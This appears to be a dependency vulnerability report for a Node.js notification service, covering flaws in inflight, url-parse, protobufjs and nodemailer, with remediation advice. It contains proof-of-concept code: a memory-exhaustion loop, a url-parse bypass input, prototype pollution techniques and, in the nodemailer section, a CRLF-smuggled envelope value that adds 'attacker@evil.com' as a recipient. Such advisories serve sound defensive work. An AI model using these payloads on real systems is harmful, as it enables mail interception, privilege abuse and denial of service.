Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: url-parse
- Introduced through: amqp-client-node@1.0.11
Detailed paths
-
Introduced through: notification@haniot/notification › amqp-client-node@1.0.11 › amqplib@0.5.6 › url-parse@1.4.7
Overview
url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.
Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key due to incorrect conversion of @ in the protocol field of the HREF.
PoC:
parse = require('url-parse')
console.log(parse("http:@/127.0.0.1"))
Output:
{
slashes: true,
protocol: 'http:',
hash: '',
query: '',
pathname: '/127.0.0.1',
auth: '',
host: '',
port: '',
hostname: '',
password: '',
username: '',
origin: 'null',
href: 'http:///127.0.0.1'
}
Remediation
Upgrade url-parse to version 1.5.7 or higher.
References
medium severity
new
- Vulnerable module: protobufjs
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs@7.2.4Remediation: Upgrade to firebase-admin@12.0.0.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Prototype Pollution via schema option path handling. An attacker can perform prototype pollution by supplying a crafted protobuf schema or JSON descriptor whose option paths traverse inherited properties, allowing writes to global JavaScript constructors and corrupting process-wide state, leading to persistent denial of service.
Note: This is only exploitable if the application allows an attacker to control or influence a protobuf schema or JSON descriptor and parses or loads that schema through reflection APIs such as parse, Root.load, Root.loadSync, or Root.fromJSON, with crafted input containing option paths that reach unsafe inherited properties during option processing.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.
References
medium severity
- Vulnerable module: url-parse
- Introduced through: amqp-client-node@1.0.11
Detailed paths
-
Introduced through: notification@haniot/notification › amqp-client-node@1.0.11 › amqplib@0.5.6 › url-parse@1.4.7
Overview
url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.
Affected versions of this package are vulnerable to Improper Input Validation. It mishandles certain uses of backslash such as http:\/ and interprets the URI as a relative path.
Remediation
Upgrade url-parse to version 1.5.0 or higher.
References
medium severity
- Vulnerable module: url-parse
- Introduced through: amqp-client-node@1.0.11
Detailed paths
-
Introduced through: notification@haniot/notification › amqp-client-node@1.0.11 › amqplib@0.5.6 › url-parse@1.4.7
Overview
url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.
Affected versions of this package are vulnerable to Open Redirect due to improper escaping of slash characters.
Remediation
Upgrade url-parse to version 1.5.2 or higher.
References
low severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@6.10.1 and email-templates@10.0.1
Detailed paths
-
Introduced through: notification@haniot/notification › nodemailer@6.10.1Remediation: Upgrade to nodemailer@8.0.4.
-
Introduced through: notification@haniot/notification › email-templates@10.0.1 › nodemailer@6.10.1
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the envelope.size parameter in the sendMail function. An attacker can inject arbitrary SMTP commands by supplying CRLF characters in the size property, which are concatenated directly into the SMTP command stream. This can result in unauthorized recipients being added to outgoing emails or other SMTP commands being executed.
Note:
This is only exploitable if the application explicitly passes a custom envelope object with a user-controlled size property to the mail sending process.
PoC
const net = require('net');
const nodemailer = require('nodemailer');
// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');
const transporter = nodemailer.createTransport({
host: '127.0.0.1',
port,
secure: false,
tls: { rejectUnauthorized: false },
});
transporter.sendMail({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Normal email',
text: 'This is a normal email.',
envelope: {
from: 'sender@example.com',
to: ['recipient@example.com'],
size: '100\r\nRCPT TO:<attacker@evil.com>',
},
}, (err) => {
if (err) console.error('Error:', err.message);
console.log('\nExpected output above:');
console.log(' C: MAIL FROM:<sender@example.com> SIZE=100');
console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED');
console.log(' C: RCPT TO:<recipient@example.com>');
server.close();
transporter.close();
});
});
Remediation
Upgrade nodemailer to version 8.0.4 or higher.